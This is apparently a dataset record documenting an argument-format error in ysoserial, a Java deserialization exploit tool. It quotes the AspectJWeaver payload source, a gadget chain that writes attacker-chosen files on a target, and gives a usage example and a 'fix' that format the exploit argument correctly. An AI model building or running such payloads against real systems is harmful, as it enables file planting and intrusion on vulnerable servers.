{"record":{"id":"89cd63d9db1c4565","repo":"frohoff/ysoserial","slug":"command-format-is-filename-base64-object","errorCode":null,"errorMessage":"Command format is: <filename>:<base64 Object>","messagePattern":"Command format is: <filename>:<base64 Object>","errorType":"validation","errorClass":"IllegalArgumentException","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/payloads/AspectJWeaver.java","lineNumber":51,"sourceCode":"Usage:\nargs = \"<filename>;<base64 content>\"\nExample:\njava -jar ysoserial.jar AspectJWeaver \"ahi.txt;YWhpaGloaQ==\"\n\nMore information:\nhttps://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5\n */\n@PayloadTest(skip=\"non RCE\")\n@SuppressWarnings({\"rawtypes\", \"unchecked\"})\n@Dependencies({\"org.aspectj:aspectjweaver:1.9.2\", \"commons-collections:commons-collections:3.2.2\"})\n@Authors({ Authors.JANG })\n\npublic class AspectJWeaver implements ObjectPayload<Serializable> {\n\n    public Serializable getObject(final String command) throws Exception {\n        int sep = command.lastIndexOf(';');\n        if ( sep < 0 ) {\n            throw new IllegalArgumentException(\"Command format is: <filename>:<base64 Object>\");\n        }\n        String[] parts = command.split(\";\");\n        String filename = parts[0];\n        byte[] content = Base64.decodeBase64(parts[1]);\n\n        Constructor ctor = Reflections.getFirstCtor(\"org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap\");\n        Object simpleCache = ctor.newInstance(\".\", 12);\n        Transformer ct = new ConstantTransformer(content);\n        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);\n        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);\n        HashSet map = new HashSet(1);\n        map.add(\"foo\");\n        Field f = null;\n        try {\n            f = HashSet.class.getDeclaredField(\"map\");\n        } catch (NoSuchFieldException e) {\n            f = HashSet.class.getDeclaredField(\"backingMap\");\n        }","sourceCodeStart":33,"sourceCodeEnd":69,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/payloads/AspectJWeaver.java#L33-L69","documentation":"ysoserial's AspectJWeaver payload parses the command string in getObject() and requires a ';' separator separating a target filename from a Base64-encoded file content blob. When lastIndexOf(';') finds no separator, it throws IllegalArgumentException with the usage message. The message says ':', but the code actually splits on ';' — an easy trap for users.","triggerScenarios":"Calling AspectJWeaver.getObject(command) (or running ysoserial with this payload type) with a command string containing no ';' character.","commonSituations":"Users pass '<file>:<base64>' (colon, per the message text) instead of '<file>;<base64>'; command-line shells mangle or strip ';'; users omit the Base64 content entirely when generating the payload.","solutions":["Format the command as '<filename>;<base64-content>' using a semicolon separator","Quote the whole argument when invoking from a shell so ';' is not interpreted by the shell","Note the error message is misleading — separator is ';' not ':'"],"exampleFix":"// before\nnew AspectJWeaver().getObject(\"/tmp/evil.txt:aGVsbG8=\");\n// after\nnew AspectJWeaver().getObject(\"/tmp/evil.txt;aGVsbG8=\");","handlingStrategy":"validation","validationCode":"if (!command.contains(\";\")) throw new IllegalArgumentException(\"expected <filename>;<base64>\");","typeGuard":null,"tryCatchPattern":"try { payload = new AspectJWeaver().getObject(cmd); } catch (IllegalArgumentException e) { logUsageError(e); }","preventionTips":["Always join filename and Base64 content with ';'","Quote payload arguments in shells (';'-separation)","Remember the message says ':' but the separator is ';'"],"tags":["argument-parsing","ysoserial","deserialization"],"backgroundTag":"invalid-argument-format","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}